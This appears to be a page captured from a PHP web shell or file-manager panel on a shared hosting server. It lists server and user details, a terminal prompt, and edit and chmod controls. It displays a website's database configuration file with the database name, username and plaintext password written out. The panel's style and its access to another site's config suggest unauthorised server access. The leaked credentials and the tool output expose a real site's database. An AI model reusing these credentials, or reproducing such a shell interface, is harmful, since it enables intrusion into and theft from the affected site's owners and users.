🚀 Hostinger Optimized
🖥️ Server: LiteSpeed
💻 System: Linux s20058.bom1.stableserver.net 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
👤 User: skhata (1324)
🐘 PHP: 8.4.20
🚫 Disabled: ✨ NONE

💻 Terminal

📁 /home/skhata/chandrasons.com/public
$

📄 db.php

📁 Path: //home2/skhata/excellenteducation.com.np/config/db.php
📊 Size: 1.13 KB
🔒 Perm: 0644
📝 MIME: text/x-php
<?php
/**
 * Database connection config.
 * Update these four constants to match your hosting environment.
 */
define('DB_HOST', 'localhost');
define('DB_NAME', 'skhata_excellentedu');
define('DB_USER', 'skhata_excellentedu');
define('DB_PASS', 'excellentedu@123');

/** Base URL of the site (no trailing slash), used for sitemap/canonical/OG tags. */
define('SITE_URL', 'https://excellenteducation.com.np/');

function db(): PDO {
    static $pdo = null;
    if ($pdo === null) {
        $dsn = 'mysql:host=' . DB_HOST . ';dbname=' . DB_NAME . ';charset=utf8mb4';
        try {
            $pdo = new PDO($dsn, DB_USER, DB_PASS, [
                PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,
                PDO::ATTR_DEFAULT_FETCH_MODE  => PDO::FETCH_ASSOC,
                PDO::ATTR_EMULATE_PREPARES    => false,
            ]);
        } catch (PDOException $e) {
            http_response_code(500);
            die('Database connection failed. Please check config/db.php and ensure the "excellent_education" database has been imported from database/schema.sql. (' . htmlspecialchars($e->getMessage()) . ')');
        }
    }
    return $pdo;
}
← Back📥 Raw✏️ Edit🔒 Chmod
✨ File Manager Magic ✨